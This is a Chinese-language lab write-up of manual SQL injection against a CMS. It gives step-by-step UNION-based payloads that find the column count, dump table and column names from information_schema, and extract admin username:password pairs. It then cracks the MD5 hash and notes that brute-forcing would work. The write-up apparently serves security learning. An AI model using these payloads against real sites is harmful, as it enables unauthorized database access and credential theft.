任务目标
对 cms 系统进行手工 SQL 注入,通过获取到的管理员密码登录。
查找注入点
首先先找找注入点,经判断在搜索框的 keywords 可能存在 SQL 注入。
在文章阅读框的 id 参数也可能是注入点。
判断注入类型
由于文章阅读框的参数比较简单,所以用这个参数来测试,首先先注入正常的参数,网页回显正常的信息。
尝试注入个单引号闭合,网页回显 MySql 报错,后端的 SQL 语句后面的内容注释后,网页仍然不能回显正确的信息。经过以下所有的测试都一样,也就是说我们注入的引号没有起到闭合的作用,这是一个数字型注入。
1' OR 1 = 1--+
1') OR 1 = 1--+
1')) OR 1 = 1--+
1" OR 1 = 1--+
1") OR 1 = 1--+
1")) OR 1 = 1--+
那就是数值型注入了,直接用注释把后面的东西注释掉,不用引号闭合。
1 OR 1 = 1--+
判断列数
判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。经二分法测试,有效的列数有 15 列。
?id=1 ORDER BY 15--+
?id=1 ORDER BY 16--+
判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了数字 3 和 11,说明第 3 列和第 11 列是我们可用的。
?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
获取数据库信息
爆数据库名,我们选择第 3 个位置作为显示位。database() 函数可以回显当前使用的数据库,我们将对它进行查询。
?id=-1 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15--+
接下来开始爆表名,在 information_schema.table 进行查询,使用 group_concat() 函数合并查询结果。注意由于编码问题会显示 UNION 非法,由于这个是中文网页,后台数据可能是 gbk 编码,修改编码后回显。
?id=-1 UNION SELECT 1,2,group_concat(convert(table_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.tables WHERE table_schema='cms'--+
cms_users 表看上去就是用户名和密码存放的表,所以接下来爆cms_users 表的字段,在 information_schema.columns 爆出来。
?id=-1 UNION SELECT 1,2,group_concat(convert(column_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.columns WHERE table_schema='cms' AND table_name='cms_users'--+
获取敏感信息
接下来我们爆出 cms_users 表中的信息,这个表有用户名和密码这种敏感信息。
?id=-1 UNION SELECT 1,2,group_concat(concat_ws(':',convert(username using gbk),convert(password using gbk))),4,5,6,7,8,9,10,11,12,13,14,15 FROM cms.cms_users--+
经查看目测是 md5 加密,随便找个网站查询一下得到原文是 123456。
使用得到的用户名和密码登录后台,完成实验。
值得一提的是我试着抓包看了下,这个密码没有在前端进行加密,直接传的是明文,所以用爆破和一些社工库也可以很轻松地把一些弱密码爆出来。